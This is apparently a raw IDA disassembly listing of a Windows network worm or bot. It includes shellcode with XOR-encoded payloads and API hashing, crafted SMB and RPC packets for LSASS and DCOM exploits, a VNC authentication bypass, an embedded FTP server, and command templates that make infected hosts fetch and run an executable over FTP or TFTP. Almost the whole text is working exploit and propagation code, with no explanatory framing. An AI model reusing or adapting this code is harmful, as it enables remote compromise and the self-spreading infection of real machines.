		jecxz	short loc_43235D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq

loc_432338:				; CODE XREF: sub_432310+32j
		lodsb
		test	al, al
		jz	short loc_432344
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_432338
; ---------------------------------------------------------------------------

loc_432344:				; CODE XREF: sub_432310+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_43232D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp

loc_43235D:				; CODE XREF: sub_432310:loc_43232Dj
		mov	[esp+arg_0], ebx
		retn
sub_432310	endp


; =============== S U B	R O U T	I N E =======================================



sub_432362	proc near		; CODE XREF: sub_432310+7p

; FUNCTION CHUNK AT 0043239A SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_43237B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_432386
; ---------------------------------------------------------------------------

loc_43237B:				; CODE XREF: sub_432362+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]

loc_432386:				; CODE XREF: sub_432362+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_43239A
sub_432362	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43238D	proc near		; CODE XREF: sub_432362:loc_43239Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_43238D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_432362

loc_43239A:				; CODE XREF: sub_432362+29j
		call	sub_43238D

loc_43239F:				; DATA XREF: sub_40CD9E+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_432362
; ---------------------------------------------------------------------------
		dw 0
dword_4323A4	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o
dword_4323B0	dd 30h			; DATA XREF: sub_40CD9E+2CAo
dword_4323B4	dd 0A1h			; DATA XREF: sub_40CD9E+29Fo
dword_4323B8	dd 3			; DATA XREF: sub_40CD9E+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CD9E+153o
		align 4

loc_4323C4:				; DATA XREF: sub_40CD9E+E8o
		jmp	short near ptr dword_4323CC
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_4323CC	dd 0			; CODE XREF: ___:loc_4323C4j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D5F4o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 4
dword_432434	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: ___:0040E02Do
					; ___:0040E167o
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_432480	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_40DCF9+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4327E4	dd 20h,	0		; DATA XREF: sub_40DCF9+136o
		dd 20h,	5C005Ch, 0
off_4327F8	dd offset aEmant	; DATA XREF: sub_40DCF9+15Do
					; "emant"
		dd offset dword_5C0024
a12345611111111:
		unicode	0, <123456111111111111111.doc>,0
		align 8
dword_432838	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_43286C	dd offset word_580046	; DATA XREF: sub_40DCF9+45o
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░'
		db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░'
		db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░',0
dword_432948	dd 10016C6h		; DATA XREF: sub_40DCF9+104o
dword_43294C	dd 100139Dh		; DATA XREF: sub_40DCF9+FBo
off_432950	dd offset dword_5C005C	; DATA XREF: sub_40DB5E+1Co
					; sub_40DC41+16o
		align 8
off_432958	dd offset dword_49005C	; DATA XREF: sub_40DB5E+Co
					; sub_40DC41+Bo
		dd offset aLandes	; "Landes"
		dd 24h
aSExploitingIpS	db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: ___:0040E235o
					; ___:0040E99Eo ...
		align 10h
aTftpFileTransf	db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: ___:0040E1E8o
		align 4
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: ___:0040DF8Do
		align 10h
		jmp	short loc_4329D2

; =============== S U B	R O U T	I N E =======================================



sub_4329C2	proc far		; CODE XREF: sub_4329C2:loc_4329D2p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h

loc_4329CA:				; CODE XREF: sub_4329C2+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_4329CA
		jmp	short loc_4329D7
; ---------------------------------------------------------------------------

loc_4329D2:				; CODE XREF: ___:004329C0j
		call	near ptr sub_4329C2

loc_4329D7:				; CODE XREF: sub_4329C2+Ej
		jo	short loc_432A3B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_432A59
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]

loc_432A3B:				; CODE XREF: sub_4329C2:loc_4329D7j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------

loc_432A59:				; CODE XREF: sub_4329C2+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_4329C2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------

loc_432B00:				; DATA XREF: sub_40E3F1+156o
					; sub_40E3F1+212o
		jmp	short loc_432B12

; =============== S U B	R O U T	I N E =======================================



sub_432B02	proc near		; CODE XREF: sub_432B02:loc_432B12p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh

loc_432B0A:				; CODE XREF: sub_432B02+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_432B0A
		jmp	short loc_432B17
; ---------------------------------------------------------------------------

loc_432B12:				; CODE XREF: ___:loc_432B00j
		call	sub_432B02

loc_432B17:				; CODE XREF: sub_432B02+Ej
		jo	short near ptr dword_432A90+1Eh
		cwde
		cdq
		cdq
		retn
sub_432B02	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_432BB0	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40E3F1+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_432C98	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:0040E8A6o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_432D24	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:0040E8D2o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_432DD0	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:0040E8F9o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_432EB0	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_40E3F1+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_432F14	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_432F80	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_433024	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4330A4	dd offset loc_401495	; DATA XREF: sub_40E3F1+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_433138	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4331A4	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_433218	dd 0			; DATA XREF: sub_40E3F1+35Fo
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 2	dup(0)
word_4332A0	dw 0AD9Dh		; DATA XREF: sub_40E292+30r
					; sub_40E3F1+E7r
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_4332E0	dd 1004600h		; DATA XREF: sub_40E3F1+140r
					; sub_40E3F1+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_40E292+BCo
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o
; ---------------------------------------------------------------------------

loc_433418:				; DATA XREF: sub_40E3F1+177o
		jmp	short loc_433420
; ---------------------------------------------------------------------------
		jmp	short loc_433422
; ---------------------------------------------------------------------------
		align 10h

loc_433420:				; CODE XREF: ___:loc_433418j
					; DATA XREF: sub_40E3F1+27o
		pop	esp
		pop	esp

loc_433422:				; CODE XREF: ___:0043341Aj
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_43342C	dd 1CEC8166h		; DATA XREF: sub_40E3F1+Dr
dword_433430	dd 0E4FF07h		; DATA XREF: sub_40E3F1+16r
dword_433434	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40E9FB+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040EE25o
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040ECB2o
		align 4
word_4346EC	dw 1			; DATA XREF: ___:0040EC29r
					; sub_41B55B+24r ...
		align 10h
dword_4346F0	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_41A1B1+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
		dd 392C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh
		dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch
		dd 207C2038h, 336E5730h, 203E2044h, 7325h, 20363232h, 6E617254h
		dd 72656673h, 6D6F6320h, 74656C70h, 0A2E65h, 20303531h
		dd 6E65704Fh, 20676E69h, 414E4942h, 6D205952h, 2065646Fh
		dd 61746164h, 6E6F6320h, 7463656Eh, 0A6E6F69h, 0
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 10h
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 10h
a226TransferCom	db '226 Transfer complete',0Ah,0
		align 4
aList_0		db 'LIST',0
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:004387F8o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:00438804o
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass_0		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_2		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_4349D4	db  2Dh	; -		; DATA XREF: sub_40FAD6+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_4349FC	db 0Dh,0Ah,0		; DATA XREF: sub_40FAD6+2CFo
					; sub_41AA1E+F5o
		align 10h
aGet_0		db 'GET ',0             ; DATA XREF: sub_40FAD6+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
